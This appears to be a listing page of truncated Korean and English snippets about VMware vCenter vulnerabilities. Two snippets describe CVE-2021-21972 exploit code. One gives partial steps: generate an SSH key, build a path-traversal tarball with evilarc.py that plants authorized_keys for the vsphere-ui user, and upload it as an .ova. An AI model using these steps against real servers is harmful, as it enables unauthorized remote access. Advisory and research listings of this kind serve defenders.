CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 지원 대상 VMware-VCSA-all-6.7.0-8217866、VMware-VIM-all-6.7.0-8217866 ✔ VMware-VCSA-all-6.5.0-16613358 ✔ vCenter 6.7 U2+의 경우 vCenter 6.7U2+는 메모리에서 웹사이트를 실행하므로 이 익스플로잇은 6.7 u2+에서 작동하지 않습니다. 테스트 필요 vCenter 6.5 LinuxVCSA/Window테스트 대기 중 vCenter 6.7 LinuxVCSA/Window테스트 대기 중...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware VCSA 6.7에서 테스트됨 ssh 키페어 생성 ssh-keygen -t rsa -f vcsa.key -N '' ../../../../../home/vsphere-ui/.ssh/authorizedkeys가 포함된 tarball 생성 python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorizedkeys mv evil.tar evil.ova evil.ova를 vropspluginui...

Cross site scripting

Cross-site scripting XSS vulnerability in VMware vCenter Server Appliance vCSA 5.1 before Update 3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2012-6325

VMware vCenter Server Appliance vCSA 5.0 before Update 2 does not properly parse XML documents, which allows remote authenticated users to read arbitrary files via unspecified vectors...